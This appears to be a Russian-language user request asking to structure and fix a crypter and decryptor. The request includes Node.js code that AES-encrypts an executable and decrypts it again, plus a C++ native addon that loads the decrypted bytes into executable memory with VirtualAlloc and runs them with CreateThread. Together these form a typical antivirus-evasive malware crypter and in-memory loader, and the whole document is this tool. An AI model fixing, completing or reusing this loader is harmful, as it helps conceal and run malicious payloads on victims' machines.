напиши структуру и исправь ошибки 
декриптор const fs = require('fs');
const crypto = require('crypto');
const path = require('path');
const execute = require('./build/Release/your_target_name'); // Импорт нативного модуля

// Параметры шифрования
const algorithm = 'aes-256-cbc';
const password = 'ваш_пароль'; // Должен совпадать с паролем, использованным при шифровании
const salt = 'ваша_соль';      // Должен совпадать с солью, использованной при шифровании
const key = crypto.scryptSync(password, salt, 32);

// Пути к файлам
const encryptedFile = path.join(__dirname, 'notepad.enc');

try {
    // Чтение зашифрованного файла
    const encryptedData = fs.readFileSync(encryptedFile);

    // Извлечение IV и зашифрованных данных
    const iv = encryptedData.slice(0, 16);
    const encrypted = encryptedData.slice(16);

    // Создание дешифратора
    const decipher = crypto.createDecipheriv(algorithm, key, iv);

    // Дешифрование данных
    const decrypted = Buffer.concat([decipher.update(encrypted), decipher.final()]);

    // Передача дешифрованных данных в нативный модуль для выполнения
    execute.executeFromMemory(decrypted);
} catch (err) {
    console.error('Ошибка при дешифровке или выполнении файла:', err);
}

криптор
const fs = require('fs');
const crypto = require('crypto');
const path = require('path');

// Параметры шифрования
const algorithm = 'aes-256-cbc';
const password = 'ваш_пароль'; // Замените на ваш сильный пароль
const salt = 'ваша_соль';      // Замените на вашу соль
const key = crypto.scryptSync(password, salt, 32);
const iv = crypto.randomBytes(16); // Генерация случайного IV

// Пути к файлам
const inputFile = path.join(__dirname, 'notepad.exe');
const encryptedFile = path.join(__dirname, 'notepad.enc');

try {
    // Чтение оригинального файла
    const fileData = fs.readFileSync(inputFile);

    // Создание шифратора
    const cipher = crypto.createCipheriv(algorithm, key, iv);

    // Шифрование данных
    const encrypted = Buffer.concat([cipher.update(fileData), cipher.final()]);

    // Сохранение IV и зашифрованных данных в один файл
    const encryptedData = Buffer.concat([iv, encrypted]);

    // Запись зашифрованного файла
    fs.writeFileSync(encryptedFile, encryptedData);

    console.log('Файл notepad.enc успешно создан.');
} catch (err) {
    console.error('Ошибка при шифровании файла:', err);
}
// src/execute.cpp
#include <napi.h>
#include <windows.h>

Napi::Value ExecuteFromMemory(const Napi::CallbackInfo& info) {
    Napi::Env env = info.Env();

    // Проверка аргументов
    if (info.Length() < 1 || !info[0].IsBuffer()) {
        Napi::TypeError::New(env, "Buffer expected").ThrowAsJavaScriptException();
        return env.Null();
    }

    Napi::Buffer<char> buffer = info[0].As<Napi::Buffer<char>>();

    // Выделение исполняемой памяти
    void* exec_mem = VirtualAlloc(NULL, buffer.Length(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (exec_mem == NULL) {
        Napi::Error::New(env, "Failed to allocate memory").ThrowAsJavaScriptException();
        return env.Null();
    }

    // Копирование кода в выделенную память
    memcpy(exec_mem, buffer.Data(), buffer.Length());

    // Создание потока для выполнения кода
    HANDLE thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec_mem, NULL, 0, NULL);
    if (thread == NULL) {
        VirtualFree(exec_mem, 0, MEM_RELEASE);
        Napi::Error::New(env, "Failed to create thread").ThrowAsJavaScriptException();
        return env.Null();
    }

    // Ожидание завершения выполнения
    WaitForSingleObject(thread, INFINITE);
    CloseHandle(thread);
    VirtualFree(exec_mem, 0, MEM_RELEASE);

    return Napi::String::New(env, "Execution completed");
}

Napi::Object Init(Napi::Env env, Napi::Object exports) {
    exports.Set(Napi::String::New(env, "executeFromMemory"),
                Napi::Function::New(env, ExecuteFromMemory));
    return exports;
}

NODE_API_MODULE(NODE_GYP_MODULE_NAME, Init)